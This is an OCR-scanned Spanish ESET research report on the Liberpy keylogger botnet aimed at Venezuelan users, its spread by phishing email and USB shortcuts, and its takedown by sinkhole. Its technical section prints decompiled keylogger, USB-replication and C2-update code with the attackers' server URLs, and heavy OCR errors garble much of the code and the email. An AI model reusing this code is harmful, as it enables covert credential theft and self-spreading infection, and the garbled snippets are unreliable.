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Operacion Liberpy

Operacion Liberpy

Introduccion

Desde hace ya algunos afios, venimos comunicando que Latinoamérica no es solo una region que recibe amenazas desde otros
lugares del mundo, por el contrario, hemos sido testigos del incremento de ataques y amenazas desarrolladas en la region. En el
presente articulo vamos a compartir con ustedes una de las Gltimas investigaciones del Laboratorio de ESET Latinoamérica, en
donde gracias a acciones en conjunto con HISPASEC, hemos logrado desmantelar una botnet dedicada al robo de informacion
que afectaba en 98% de los casos a usuarios latinoaméricanos.

Operacion Liberpy, abarca un periodo de mds de 8 meses de actividades de una Botnet en Latinoamérica, sus acciones, campafias
de propagacion, técnicas de persistencia y los pasos que se han llevado a cabo para desmantelarla. Compartiremos con ustedes
los hallazgos del analisis, estadisticas sobre los paises afectados y detalles sobre cémo esta familia de cédigos maliciosos robaba
credenciales, cuentas y otra informacién directamente desde las maquinas de los usuarios.

A través del trabajo en conjunto de las diferentes entidades involucradas, logramos realizar un Sinkhole de la botnet, lo que nos
permitié en primera instancia, dimensionar parte de su tamafo y ademas, coordinar el cese de las operaciones de estos
cibercriminales en la region. Para lograr tales cometidos, no solo tuvimos que analizar las amenazas en cuestidn, también fue
necesario entender y recopilar la informacidn de las campafias realizadas en conjunto con sus objetivos.

Desde el envio de falsos correos con un software para seguir envios de un Courier conocido, hasta la infeccién de sistemas
a través de dispositivos USB, le permitieron a estos cibercriminales, controlar mas de 2000 equipos en toda la region.

Operacion Liberpy: Keyloggers y robo de informacidn en Latinoamérica

Descubrimiento de Liberpy

A mediados de Abril, en el Laboratorio de ESET Latinoamérica recibimos un reporte de un ejecutable con el nombre “Liberty2-
0.exe”, detectado por nosotros como Python/Liberpy.A. Se trataba de un Keylogger, una amenaza que una vez que vulnera la
seguridad de un sistema, envia un reporte de todos los eventos de teclado que el usuario presiona como asi también los
movimientos del mouse a un servidor controlado por los atacantes.

El andlisis preliminar de la amenaza, arrojé fuertes indicadores de que fue desarrollada en la region, - datos que compartiremos
en detalle mas adelante - situaciéon que dispard dos preguntas fundamentales: éHay una version 1.0? ¢Cual es el alcance de este
ataque?

Basados en el nombre de la amenaza, decidimos buscar indicadores relacionados a Liberty y encontramos dentro de nuestros
registros otro ejecutable con prdacticamente el mismo nombre “Liberty1-0.exe”, pero en esta ocasion era detectado como
Python/Spy.Keylogger.G. La primera variante aparecié a mediados de Agosto del 2014, brind6 pistas importantes sobre los
origines de esta campaia que luego estadisticas y detecciones iban a confirmar.

En base a la informacion de ESET Live Grid, el 98% de las detecciones de estas amenazas eran en Venezuela, y en base a las
palabras y lenguaje que encontramos en los comentarios de la amenaza, confirmaban que este malware tenia como objetivo
principal a usuarios de este pais. En este punto, la situacion estaba mds que clara: Liberpy era una operacion dirigida a usuarios
de un pais de Latinoamérica con el fin de robar informacion de los usuarios.

Colaboracion contra el Cibercrimen

Con una idea mas clara del uso de esta familia de cddigos maliciosos, los sitios desde los cuales se propagé y hacia donde enviaba
la informacién teniamos todos los datos necesarios para intentar desmantelar esta botnet, y asi desactivar las acciones de estos
cibercriminales en la regidn. Para ello, nos pusimos en contacto con un equipo de seguridad de Venezuela, quienes nos ayudaron
a coordinar y planificar la acciones a seguir junto con HISPASEC, para el reporte y baja de las URLs en cuestion.
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Esta botnet utilizd dos dominios falsos para la descarga de las amenazas, dos dominios para el envio de comandos de
actualizacién a los bots, y dos dominios hacia donde las maquinas afectadas subian la informacion. En otras palabras, cada
version de estos keyloggers, utilizaba una URL para propagarse, otra para recibir los comandos y una para subir la informacién
que registraba en los equipos afectados.

Ademas de la coordinacion de las acciones, nos proveyeron de un factor muy importante en el entendimiento de esta amenaza,
uno de los correos de la campafia de propagacion, que fue realizada durante el mes de Febrero:

From: leerty Erpress rwml e iR eqge- bl s prrcms o ol
Date: Wed, Feb 18, 2015 at ¥:-14 PM

subject: Liberty Express. Nueva aplicacion para PC
To: alvsads snan Il seam

Para su comodidad v calidad de servicio, hemos desamollado un software para PC
(Windows 32 y 64 bits) gue le permitira hacer prealerias, seguimiento a sus pagustes y
formalizar sus enfregas de una manera muy gomoda ¥ amena.

Fara descargarlo, haga click agui
Para mas informacion visita =s e lde= | s H-gmEH24 =240

Siempre a la orden,

Libe
~FExpress

Ecomimerce Logistics
RIF: F31116772-2 - CP1I01TY

Imagen 1 - Correo de Propagacion

Con esta pieza faltante del rompecabezas, confirmamos lo que en un comienzo sospechabamos: esta amenaza se propagaba
inicialmente a través de correos falsos, haciéndoles creer a los usuarios que se trataba de un software para tracking de compras
que se hicieran a través de una empresa de Courier. Una vez que las victimas tenian sus sistemas infectados, todos los pendrives
o memorias USB que se conectaran a estos equipos continuarian con la propagacion del malware hacia otros equipos.

Dimensionar el tamario de tales redes de computadoras zombis, nos ayudaria a ver el alcance de este ataque, y estudiar un poco
mas en detalle las acciones de los cibercriminales. Con este objetivo en mente, entre HISPASEC y ESET Latinoamérica,
coordinamos para realizar el sinkhole de la botnet a través de la redireccion de los DNS involucrados en el ataque.

Un sinkhole de DNS, permite a investigadores, fuerzas de seguridad y otras entidades, redirigir el trafico de los equipos
infectados, para evitar que los cibercriminales tengan el control y puedan robar la informacidn que hay en ellos. Para realizar este
proceso, se denuncian las direcciones IP maliciosas a los servicios correspondientes con el fin de desmantelarlos.

¢Como funcionaba Liberpy?

Las diferentes campafias de Liberpy, comenzaron con el envio de correos falsos, para notificar a las posibles victimas de la
aparicion de este ,,software” de tracking. Aquellos usuarios infectados comenzaban a formar parte de la botnet ademas de ser un
nuevo nodo de propagacion a través de los dispositivios USB que se conectaran al equipo.

De esta manera, la Botnet no solo depende de los usuarios que fueron victima de la Ingenieria Social, sino que ademas, aquellas
personas que no logren identificar un USB infectado continuarian esparciendo la amenaza.



Operacion Liberpy

o

El atacante envia
—> correos falsos _"
conenlaces al malware

ATACANTE

- !
coe o'~ __ O

El atacante recibe la Su computadora se
informacion de todos los infecta con Liberpyy
equipos infectados comienza a enviar
informacién al atacante

LIBERPY

USUARIO #1

Un usuario desprevenido
descarga laamenazay la
ejecuta en su computadora

B

— 4%

LIBERPY LIBERPY LIBERPY
USUARIO #4 USUARIO #3 USUARIO #2
Cuando el USB infectado es Cuando el usuario conecta un
conectado en otra maquina esta USB a su computadora, la
se infecta con Liberpy y comienza a amenaza lo utiliza para
formar parte de la botnet propagarse

Imagen 2 - Funcionamiento de la Botnet Liberpy

En resumen, los sucesos de una infeccién de Liberpy serian los siguientes:
1. Los atacantes lanzan una campafia de propagacion a través de correos electronicos.

2. Unusuario recibe el correo, sigue el enlace e intenta instalar el software en su sistema
3. Elsistema infectado comienza a enviar la informacién al atacante.

4. Cuando el usuario conecta un USB, Liberpy infecta el USB y se aloja en una carpeta oculta, junto con los archivos
originales que el usuario tenia en el dispositivo.

5. Elusuario conecta su USB infectado con Liberpy en otro sistema, y cuando intenta abrir los archivos, infecta a este nuevo
sistema con Liberpy, se activa el robo de informacion y la propagacién en el nuevo equipo zombi.

Es importante destacar que esta metodologia de ataque se replica a otras familias de cédigos maliciosos que se han propagado
en laregion y en el mundo.
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Los equipos infectados con Liberpy, se conectan a intervalos regulares al panel de control, para enviar la informacién que han
logrado recopilar de los sistemas afectados. La versién 1.0 se conecta cada 10 minutos, mientras que la versién 2.0 lo hace cada 1
hora.

De esta manera, los atacantes se aseguran que no solo dependen de sus campafias de correos falsos sino que por si mismo,
Liberpy continta infectando sistemas a través de técnicas similares a las utilizadas por otras familias como Win32/Dorkbot,
JS/Bondat y VBS/Agent.NDH entre otras. Este mecanismo de propagacion, ocultando todos los archivos de un USB, y
reemplazandolos por accesos directos estd prevalente en la region desde al menos el 2011, y sigue siendo hoy uno de los
principales vectores de propagacion de malware a través de dispositivos USB.

Desmantelando la botnet Liberpy

Liberpy, es una botnet desarrollada en Python, que se comunica utilizando el protocolo HTTP, a través del puerto 80. De esta
manera, como la comunicacion es saliente, y a través de uno de los puertos que se utilizan para navegar en Internet, suele estar
habilitado en las empresas y permite asi que un equipo infectado se comunique con el panel de control, y saltee diferentes
mecanimos de control.

Por otro lado, este mismo mecanismo de control de la Botnet, utilizando una direccidn fija y un protocolo sin cifrado, nos
permitio reducir los tiempos de andlisis de su funcionamiento y definir los lineamientos para realizar el Sinkhole, con el objetivo
gue mencionamos anteriormente: desmantelar la botnet. Para realizar este cometido, fue muy importante la ayuda de HISPASEC,
en el reporte y denuncia de los dominios maliciosos.

A través de dichos reportes y durante el proceso del takedown (Desmantelamiento) de Liberpy logramos ver en detalle cdmo
operaba la Botnet, lo que nos permitié dimensionar, parte de su tamafio y los sistemas afectados por este cédigo malicioso.

Preparando el Sinkhole

Liberpy solo utiliza el puerto 80 para su comunicacién y envio de la informacion de las vitcimas. A través de la redireccion de los
DNS, por sobre las IP utilizadas por los atacantes, y con un servidor escuchando los primeros 600 bytes enviados al puerto 80 por
los equipos afectados, nos permitio analizar esta botnet y quitarle a los cibercriminales el acceso a la informacién que robaron.

Es importante remarcar, que el sinkhole sélo escuchaba los primeros 600 bytes de la comunicacion. De esta manera, ninguno de
los datos que Liberpy roba de los bots infectados fue almacenado. Los esfuerzos se dedicaron a entender cémo se comunicaban
los equpos, su periodicidad y distribucion de la botnet.

La captura del trafico, luego puede ser procesada, a través de diferentes técnicas, para evaluar los patrones que identifiquen a los
bots, como asi también otras caracteristicas de los sistemas afectados. Este analisis estuvo compuesto de la identificacion de las
direcciones IP, sistemas operativos afectados, periodicidad de comunicacion con el panel de control y distribucién geografica de
los bots.

Dimensionando el tamaino de la Botnet

Nuestro Sinkhole, capturé informacién durante aproximadamente 48 horas. En ese periodo, y tras el analisis de la informacion
enviada por un sistema infectado con el que realizamos el seguimiento en nuestro Laboratorio pudimos separar qué datos nos
permitian identificar el tipo de sistema que habia sido afectado. Durante este periodo, podemos asegurar que Liberpy llegd

a afectar al menos 2.000 equipos robando datos, contrasefias y en general todos los eventos de teclado que los ususarios
ingresaron en sus sistemas.

Cuando un equipo infectado por Liberpy se comunica con el panel de control, el campo User Agent anunciael tipo de sistema
infectado y que estd enviando la comunicacion. En la siguiente captura, podemos ver cémo un equipo con Windows 7 envia la
informacién a los servidores de atacante:
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= = e = - =
Wl Follow TCP Stream

[ Stream Content:
GET /tao/subir.php HTTP/1.1
Host: 173.254.204.70
Accept-Encoding: gzip, deflate

ACCRpT: ¥ /%
User-agent: python-requests/2.3.0 cPython/2.7.8 windows/7

HTTP/1.1 200 OK

Date: Mon, 20 Apr 2015 15:26:20 GMT
server: Apache/2.2.22 (bebian)
X-Powered-By: PHP/5.4.36-0+deb7u3
vary: Accept-Encoding
Content-eEncoding: gzip
content-Length: 24

content-Type: text/html

........... (e |
Entire conversation (396 bytes) B
[ Find ][ Save fs ][ Print ]u:‘ ASCI () EBCDIC () HexDump ) CArrays © Raw

[ Filter Out This Stream l [ Close ]

Imagen 3 - Comunicacion de un bot de Liberpy

En laimagen anterior, podemos ver que el campo ,,User-Agent” contiene el valor: python-requests/2.3.0 CPython/2.7.8
Windows/7 delatando cual es el sistema afectado, ademds de algunos datos del servidor original de la Botnet, y hacia donde
intentaba enviar la informacién. Los resultados del analisis de nuestro sinkhole, arrojaron la siguiente informacion respecto a los
User-Agent, utilizados:

Bots por User Agent

o 1339

1200

(o]
o
o

o))
o
o

Cantidad de bots

300

517
164
l

Total User Agent

OI,

@® python-requests/2.3.0 CPython/2.7.8Windows/7 @ python-requests/2.3.0 CPython/2.7.8 Windows/Vista
@® python-requests/2.3.0 CPython/2.7.8Windows/XP @ python-requests/2.3.0 CPython/2.7.8 Windows

[2012Server
@® python-requests/2.3.0 CPython/2.7.8 Windows/8

Imagen 4 - Bots por User Agent
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Durante las 40 horas de tracking del sinkhole un total de 5 User Agent diferentes con el mismo formato que el del sistema de
pruebas se contactaron con nuestro sinkhole. En otras palabras, esto nos permitié dimensionar qué sistemas operativos estaban
bajo el control de Liberpy:

Bots por Sistema Operativo

® Windows7

® Windows XP

® Windows 8

® Windows vista

® \Windows
Server 2012

Imagen 5 - Sistemas Operativos afectados por Liberpy

En su mayoria la Botnet Liberpy esta compuesta por equipos con Windows 7, seguido de Windows XP con una cuarta parte de los
equipos afectados y el restante 10% de infecciones en Windows 8 , Windows Vista y un Unico sistema con Windows Server 2012
(menos del 1%) afectado también por esta amenaza. En base a los métodos de propagacion utilizados, los servidores podrian
verse afectados, principalmente a través de la propagacion por USBs.

Distribucion Geografica (¢ Targeted Botnet?)

Entre algunas de las particularidades de Liberpy, pudimos observar que los cibercriminales dedicaron sus esfuerzos
a determinado tipo de victimas, en particular parecid que su objetivo eran usuarios de un pais o paises especificos. Ya que al
clasificar las conexiones que existieron al sinkhole, cuantificamos un total de 2.047 bots, de los cuales 1.953 eran de Venezuela.
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Bots por pais

Ndmero de Bots

Imagen 6 - Distribucion de los bots de Liberpy

Para diferenciar entre los bots, agrupamos los sistemas basados en sus direcciones de IP, puerto de origen , frecuencia de
conexion en la configuracion de los bots, User Agent por sobre un total de 11.754 conexiones recibidas. Procesando las capturas
de trafico con Bro, simplifico el trabajo de procesamiento y facilité la identificacion de patrones entre los bots.

En determinados casos, encontramos con mas de un bot conectandosé desde la misma direccién IP, lo que podria significar que
en algunas compaiiias, existian mas de un host infectado con Liberpy. En total, encontramos 1.754 direcciones de IP Unicas con la
siguiente distribucion:


http://bro.org/
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IP por pais

2000
1670
«» 1500
o
<Y
©
©
g 1000
£
]
o
500
19 17 1 8 7 5 3 3 2 1 1 1 1 1
O’ —_— B — — —_— __ —
PSP S (AR R o LA N N C P C S \ RN JPY NG SRR
qe&w & @Qa QOQS\&\ O\ 0\0«\ \QQ?}(\?} Q 6\@@ 2 > TSGR

Imagen 7 - Direcciones IP de los Bots

En otras palabras, podemos confirmar que Liberpy fue una botnet dirigida, en dénde el 96% de los casos los bots que se

comunicaron al sinkhole provenian de Venezuela:

Bots por pais

® \enezuela

® EEUU

@ Espana

@® Argentina

® Reservado
Malta

® Colombia

@ [talia

Imagen 8 — Bots por pais

® Panama
Peru

@® México

® Ecuador
Chile
Canada

O Brasil
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A estas alturas, ya era posible confirmar que el objetivo de Liberpy, es el robo de informacién de usuarios Venezolanos, con el fin
de poder extraer informacion directamente desde sus sistemas. Los datos encontrados tras el analisis de las conexiones a nuestro
sinkhole, presentaban una distribucién similar a las detecciones de ESET Live Grid entre agosto del 2014 y mayo del 2015:

%Detecciones

Imagen 9 - Detecciones de Liberpy en ESET Live Grid

Respecto a las detecciones que nosotros pudimos observar, se inlcuyen aquellos sistemas en los cudles los usuarios intentaron
descargar las variantes de Liberpy desde los enlaces maliciosos, como asi también la propagacién a través de los dispositivos USB.
En base a las diferentes versiones de Liberpy encontradas, podemos asegurar que el 57% de las detecciones de Liberpy
pertenecen a la version 1-0, y el 43% restante a la version 2-0.

Distribucion de las detecciones de Liberpy

® 1-0
® 2-0

Imagen 10 - Distribuciones de las versiones de Liberpy en detecciones de ESET
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En cuanto a los niveles de deteccidn de las variantes de Liberpy, es importante aclarar que la version 1-0 se ha estado
propagando a través de Internet y otros mecanismos desde agosto del 2014, mientras que la versién 2-0, comenzd a verse
a partir de enero de este afio.

En otras palabras, Liberpy ha estado funcionando por mas de 8 meses, registrando y enviando a los atacantes informacién de al

menos 2.000 equipos infectados con esta familia de malware en dénde el 96% de las detecciones fueron en Venezuela. A través
de las acciones de HISPASEC y ESET, se ha logrado finalizar esta operacion delictiva en la regién ayudando a prevenir que nuevos
sistemas sean infectados y terminen filtrando informacién sensible de la empresa o de los usuarios hogarefios.

Analisis técnico

En la seccidn anterior, analizamos cémo era el funcioamiento de Liberpy, las acciones que se realizaron para desmantelarla'y
estadisticas de los equipos que formaban parte de esta Botnet. Ahora, comenzaremos a hablar sobre los detalles técnicos de las
diferentes variantes, comprendiendo algunas diferencias y similitudes en su operacién.

Python/Spy.Keylogger.G

Liberty1-0.exe es la primera variante del payload involucrado en Operacién Liberpy, se trata de un script de Python compilado
con Pylnstaller (https://github.com/pyinstaller/). De esta manera, los atacantes lo que hacen es programar un ejecutable que

incluye todas las librerias necesarias, para interceptar el teclado y el mouse de su victima.

Vector de infeccidn

Si bien los archivos que se propagan son ejecutables, tal como se aclaré en anteriormente, se trata de un script de Python. En
otras palabras, una vez que logramos desempaquetar el ejecutable, es posible llegar a los scripts y librerias de Python utilizadas
por los atacantes.

Al analizar dicho script es facil resaltar los PATH de instalacion del archivo como asi también algunas otras URLs, comentarios en
espafiol y las funcionalidades con la que cuenta e incluso la propagacién a través de dispositivos USB.

version=1
nombre_simizsmo="Libertyl-B.exe"
lastWindow = "
window = "'
clico =
destino_texto = “system.html"
filezip=@
last_image =
tiempo=8
accion="empagquetar{d" . —1

= "afdcehb497318528"

= "http:/ssiyofuerarico.ddns.net’
update_url="http:/ssapolipon.ddns.net’

drive_self .nada=path.splitdrive{path.abspath<

tiempo_replicar=168068
tiempo_send=600

tiempo_empaguetar=7800
tiempo_get_url=7200

newfolder = drive_self+' /MS5Dcache’
newpath = drive_self+' /MSDcachessystem’

if not path.exists<newfolder): makedirs<{newfolder?
if not path.exists{newpath): makedirs{(newpathl

SetFileAttributes{newpath. FILE_ATTRIBUTE_HIDDEN)
SetFileAttributes{newfolder, FILE_ATTRIBUTE_HIDDEHN?»

file = opentnewpath+"/"+destino_texto, “a"™>
file.write{"Dia: "+strftime("zd—xm—xy"2+" n<{hr>">

verde=(25,.112 81>
blanco=¢255, 255 255>
negro=4C@A,.6_@>

Imagen 11 - Configuracién y setup


https://github.com/pyinstaller/
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Cuando un sistema se ve afectado con esta amenaza, la instalacion es en “C:\MSDcache” donde se crea otra subcarpeta
“\system” que alojard los logs de las teclas presionadas.

Ademids se crea un archivo de logging con formato HTML y colores basados en la aplicacidon que generd el evento segin su Name
Window.

Mecanismos de Persistencia

El mecanismo de persistencia corresponde al que se observa en la mayoria de keyloggers y troyanos bancarios en la regién. Al
momento de ejecutar el archivo EXE, se crea una llave en el registro HKLM\SOFTWARE\Microsoft\CurrentVersion\Run que
apunta al ejecutable especificado anteriormente.

En caso de un sistema infectado esto es facil de corroborar al ejecutar un “msconfig” o simplemente acceder al registro del
sistema.

Mecanismos de Actualizacion
Hay dos parametros que explican la actualizacién de esta amenaza. El primero de ellos es un timer de actualizacion (cada dos
horas, 7200 segundos) y el segundo es la variable update_url, que en este caso apunta a hxxp://sapolipon.ddns.net.

En base a la respuesta del server y el método get_url() se ejecutara la accion pertinente para actualizacion de la URL de control
o para el envio de informacion al CC:

def get_urlCh:
global url,update_url

try:
r = getfupdate_urld
except exceptions.ConnectionError a
pass
try:
update_url=r.url
except:
pass

try:
respuesta = get{update_urll
except exceptions.ConnectionError as e:
return
url_a=find_hetween{respuesta.text,’{zsend>’' .’ { zend>"')
url _update=find_between{respuesta.text, ' {update?’ .’ {Aupdate’>

if wrl_a:
url=url_a

Timer<tiempo_get_url, get_urld.start}

Imagen 12 — Actualizacion

A través de este método y segun la respuesta del CC el malware ejecutara la accién pertinente. Puede actualizar las URLs deL C&C
para envio de informacion a través de la busqueda de los tags <send>y <update> dentro de la respuesta del servidor.

C&C e infraestructura de comunicacion

A continuacion se presentan las URLs asociadas a los CC relacionados a esta variante y su funcién. Ya sea para propagacion o para
comunicacion y control por parte del atacante

C&C y servidores involucrados

DNS Funcion
hxxp://siyofuerarico.ddns.net Servidor de Comando y Control
hxxp://sapolipon.ddns.net Servidor de envio de informacién

hxxp://libertyexpress.ddns.net/404/otros/Libertyl-0.exe URL de propagacién de la amenaza.


http://siyofuerarico.ddns.net/
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Payload

El propdsito principal de esta amenaza es el robo de informacién de los sistemas afectados a través de la captura de los eventos
del teclado y mouse. Con esta informacion genera un archivo de texto con los datos que luego son enviados al servidor a
intervalos regulares.

Con este tipo de acciones los atacantes pueden obtener informacidn de las teclas que presiona un usuario y los lugares en dénde
hace clic con el mouse con el fin de acceder a sus cuentas bancarias en linea, redes sociales y demas.

En esta primera versidn se destaca que los atacantes remarcan una cadena de texto en mas de una ocasién a diferencia del resto
de las ventanas:

def OnKevyhoardEvent{event):
global lastWindow, window,clico

window = event.WindowName
if clico:

clico =

return

if “"Eewwoe:Online' in lastWindow and "SwwsuOnline" in window:
window = lastWindow

key = tecladevent)

if window *= lastWindow:
if ! Online" in window:
file.urite(’ n<hr><{span class="windownane' >’ +uwindow+"{/span> 1 <hr>'")
lastWindow = window

if “ Online" in window or ' Online" in window:
file.writecCkey)
return

Imagen 13 - Keystrokes resaltados en ventanas especificas

Como se puede apreciar en la imagen anterior si el titulo de la ventana en la cual se realizo el keystroke tiene la palabra buscada
se guarda en el archivo de log la informacién.

Desde el Laboratorio de ESET en Latinoamérica no hemos encontrado relacion previa de esta variante con otras familias de
malware para este ataque. Sin embargo, en conjunto de librerias de Python utilizadas si se asemeja a herramientas genéricas
para realizar estas acciones.

El principal detalle de la informacidn tiene que ver con el uso de palabras habituales en la jerga venezolana como “jala” y otros
términos. Los comentarios son en espafiol lo que descarta acciones de otras regiones:

def empaguetar{):

global file, t,. filezip.accion

filezip=nombhrel

file.close(>

ziptnewpath, newfolder+’' /" +filezipd
encrypt_fileC(key.newfolder+' s’ +file=zip+".2ip">
remove{newfolder+’ /' +filezip+’ .zip’?
SetFileAttributes(newfolder+’ /' +filezip+' ' . zip.enc” FILE_ATTRIBUTE_HIDDEN»
rontree {newpath?

if not path_exists{newpath): makedirs{newpathd
SetFilefAttributes{newpath.FILE_ATTRIBUTE_HIDDEN>»
file = opentnewpath+"/"+destino_texto, "w")
file.write("Dia: "+strftime("wd-—xm—xy"d)+"n">

Imagen 14 - Indicadores de que fue desarrollado por un Venezolano

Python/Liberpy.A
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La segunda amenaza que compone este ataque presenta algunas diferencias en cuanto a la variante analizada anteriormente,
pero continta con su objetivo de registrar qué es lo que un usuario hace en el sistema y enviar la informacién al atacante. Los
cambios se encuentran principalmente en:

- Lista de URLs de los CC

- Strings relacionadas a la informacién que busca capturar
- Métodos internos

Basados en una herramienta de file diffing como WinMerge podemos ver los siguientes cambios:

Imagen 15 - Diferencias entre versiones 1-0 y 2-0

Mds adelante se detallaran algunas de las diferencias entre las versiones, en la siguiente seccién cubriremos la informacion basica
de la muestra. Sin embargo, a modo de resumen podemos aclarar que los cambios estan en la informacién que sustraen, donde
se comunica el malware y qué informacion resalta al capturar los eventos de teclado.

Propagacion a través de dispositivos USB
En base a la informacién que hemos recopilado a través de los sistemas de telemetria de ESET podemos asegurar que esta
amenaza se propaga principalmente a través de dos vectores:

- Campafias de SPAM

o  Enrelacidén a esta segunda variante se han reportado correos de ejemplo donde se confirma la URL de
propagacion de esta amenaza que comenzo en enero del presente afio.

- Propagacion a través de USB

El envio de correos falsos con supuestas herramientas de tracking para Liberty Express es mas comun de lo que pensabamos, ya
gue se notificaron que se notificaron diferentes campafias en el ultimo tiempo. El método de propagacion a través de USB abusa
de los accesos directo (archivos .Ink) para concatenar comandos e infectar un sistema.

El método de propagacion a través de USBs se puede ver en la siguiente imagen con el cédigo en Python que implementa esta
amenaza:
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def replicar{):
olnitialize(>

drivelette (]
hd_win=enuv n[’SYSTEMDRIVE’ 1

driveletters.appendthd_wind
for drive in letters[len(L

hd_win=hd_win+"/"

for a in driveletters:
a=at+! /!
if testDrived(ad:

try:
nakedirs(a+"MSDcache ">

file(neufolder+' /' +nomhre mismo. a+"MSDcache''+nombre

»y:
copyfileCnombre_sinismo, a+"MSDcacher"+nombre_simismol
except:
pass

I
SetFilefttributes<{a TLE_ATTRIBUTE_HIDDENY
+nombre_simismo, FILE_ATTRIBUTE_HIDDEN>

autorun . add{"" o path.abspathCa+"M8Dcache /" +nonhre _;

if GetDrivelype<{aX RIUVE_REMOUVABLE:
file pen{a+"sM8Dcache Libertyl—B.bat
rited"explorer.exe »™d@-:1 start 'd@-MSDcache Libertyl-B.exe exit")

"MSDcache” and not file
3 nk",. path_abspath{a+"/MSDcache Libertyl
SetFileAttributes{a+file . FILE_ATTRIBUTE HIDDEN>
pio=drive_self+' /"
if hd_wil 1)
exit<@>

Timer(tiempo_replicar, replicard.start(d

Imagen 16 - Replicacion en USB

. path.abspath€ad . path.abhspath(filed. "' +file+'"’>

Este método de propagacion a través de dispositivos USB es utilizado por otras familias de malware conocidas y reportadas en

diferentes ocasiones, algunas de ellas son:

- Win32/Dorkbot.B
- JS/Bondat
- VBS/Agent.NDH

- Win32/Pronny.LZ

En particular para Latinoamérica este método suele ser mas que efectivo y con grandes niveles de propagacion ya que al infectar
un USB esconde todas las carpetas y archivos y los reemplaza por accesos directos que ejecutan la amenaza.

Vector de infeccion

El vector de infeccion de Liberpy, en la versidn 2-0, no presentd cambios en su cddigo.

Mecanismos de Persistencia

Al igual que la primera version, la segunda variante de este keylogger, utiliza el registro del sistema para iniciarse ante el

siguiente reinicio. A continuacién podemos ver como queda el registro de una maquina infectada con esta segunda versién:
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| General | Arranque I Servicios | Inicio de Windows | Herramientas

Elemento de inicio Fabricante Comando b
Wilware Tools Wiware, Inc, "Ci\Program Files\YMwarel ¥Mware Toolshyiy
Whlweare Tools Wiware, Inc, ":\Program FilesiyMwareivMware Toolsivmbools...  HE
Liberty Express@ Ca Liberty Express... C:\MSDcacheilibertvz-0.exe HE
Skype Skype Technal...  "C:\Program Files\SkypelPhonelSkype. exe” fmini...  HE
P i | 3

[ Hahilitar todos ] [ Deshabilitar todos ]

[ Aceptar ] [ Cancelar ] | Aplicar | ’ Avuda ]

Imagen 17 - msconfig y ejecucion al inicio

Mecanismos de Actualizacion

Los mecanimos de actualizacion no fueron modificados en esta segunda version.

C&C e infraestructura de comunicacion

A continuacion se presentan las URLs asociadas a los CC relacionadas a esta amenaza y su funcién. Ya sea para propagacién o
para comunicacion y control por parte del atacante

C&Cy servidores involucrados

DNS IP Resuelve Funcién
hxxp://puchiupload.ddns.net 172.254.204.70 172.254.204.70/tao/subir.php C&C
hxxp://puchiupdate.ddns.net 172.254.204.70 172.254.204.70/tao/update.php Servidor de

envio de

informacién
hxxp://190.9.35.152/app/Liberty 190.9.35.152 Ninguna Servicio de
2-0.exe hosting en

Panama

Payload

Las funcionalidades de este malware en la segunda variante no se han visto modificadas en cuanto a sus capacidades, sin
embargo en esta segunda versidén se comentaron algunas lineas de codigo para no diferenciar en el log que escribe (systems.dll)
ningun color de ventanas.
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ef OnKeyhoardEvent<eventl>:
globhal lastWindow, window.clico

window = event.WindowHame
if clico:

clico =
return

key = teclateventl

if window *= lastWindow:
if arrayEnCadena{lista_ventanas.window>:
file.write! “n<hr><u}’ +yindow+"<{ n>n<hr>">
lastWindow = window

if arrayEnCadenadliszta_wventanas.window>:
file.writeCkey?

return

Imagen 18 - Keystrokes en ventanas

Como se puede apreciar en la imagen anterior se removid la palabra buscada en la versidn anterior. Si bien esta accion pareceria
que la persona dejé de monitorear por esta informacion, mas adelante en el cédigo hay un comentario con referencias a dichas
strings y una comprobacién que no se ejecuta:

ef onclick(event):
global clico.t,accion

pio=event
clico=

keyhd_event{B, B8, KEYEUENTF_EXTENDEDKEY, @>
keyhd_event<B, 8, KEYEUENTF_KEYUP, 8>

if not wisdaw is :

x,.y=pio.Position

file.write(’n<{hr>{span class=""click">’ +"(Y+str QO +","+str(yd+") "+ strftime("“H:=xM:=2x8"D>+"{/span>’)

accion="empagquetar{>",tiempo_empagquetar+tiempo

return

Imagen 19 - Keylogging de los clics con posiciones del cursor

En este caso el evento con el cudl se dispara este codigo es al ejecutar un clic con el mouse. Nuevamente se puede observar que
la condicion utilziada en la primera version esta comentada. A diferencia de la version anterior que no lo estaba.

Cambios entre versiones de Liberpy

A continuacion detallamos algunos de los cambios que se han encontrado entre cada una de las versiones, con el fin de resaltar
las modificaciones que los atacantes realizaron a su cédigo:
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def onclick(event):
global clico,t,accion

def onclickievent):
global clico,t,accion

pio=event pio=event
clico=Trues clico=True
keybd_event (0, 0, KEYEVENTF_EXTENDEDREY, 0) keybd_event (0, 0, KEYEVENTF_EXTENDEDKEY, 0)

keybd event (0, 0, KEYEVENTF KEYUP, 0) keybd event (0,

[ #print "click"

if not window is None: if not is None:

0, KEYEVENTE KEYUP, 0)

grab_it ()
file.write ("\n<br><span #print "grabit"”
class="click">"+" ("+str(x)+", "tstr(y)+") "+
strftime ("%$H: $M: $5")+7</span>T)
accion="empaquetar()",tiempo empaquetar+tiempo file.write ("\n<br><span
clags="click">"+" ("+str(x)+", "t=stri(y)+") "+
strftime ("$H: $M:%$8") +'</span>")
rezpuesta=verificar vertical ()
if respuesta:
#im.save (newpath+"/"+"tao. png")

Imagen 20 - Acciones cuando el usuario realiza un clic

Configuracion

En la siguiente imagen se pueden ver algunos cambios en la configuracién del malware entre versiones en particular resaltando la
version, nombre del archivo donde almacena la informacion, URLs del CC como asi también tiempos de actualizacion y envio de
informacién al atacante:

version=1
nombre si
lastWinde

verzion=2
nembre simismo="LibertyZ2-0.exe"
LlaztWindeow = "7

mismo="Libertyl-0.exze"

window = "" window = ""
viejo = 7 e
clice = False clice = False

"system.dll"”

"system. hemL "I
filezip=0
last_image = Nemel |

tiempo=

filezip=0

tiempo=0
accion="empaquetari)”, -1
key = "afdcebf497318520"
url = "http://puchiupload.ddns.net’
update_url="http://puchiupdate.ddns.net’

fempagquetar (] ", -1
key = "afdcebfd437318520"

url = "http://sivefuerariceo.ddns.net’
update_url="http://sapclipon. ddns. net’

drive_self, nada=path.splitdrive ipath.abspathi_ file_ ) drive_self, nada=path.splitdrive (path.abspathi(_ file )

tiempo_replicar=100
tiempo send=3600

tiempo_replicar=100
L ampo_=and=6001

Imagen 21 - Cambios en la configuracion

En ambas versiones de Liberpy, se utiliza la misma clave para el cifrado AES, que se hace por sobre los logs, cuando el mismo
supera un tamano definido por la amenaza.

Keylogging

Dentro de la funcidn de keylogging se han eliminado algunas comprobaciones relacionadas a cadenas especificas e instituciones
de Venezuela que ya no estdn presentes:
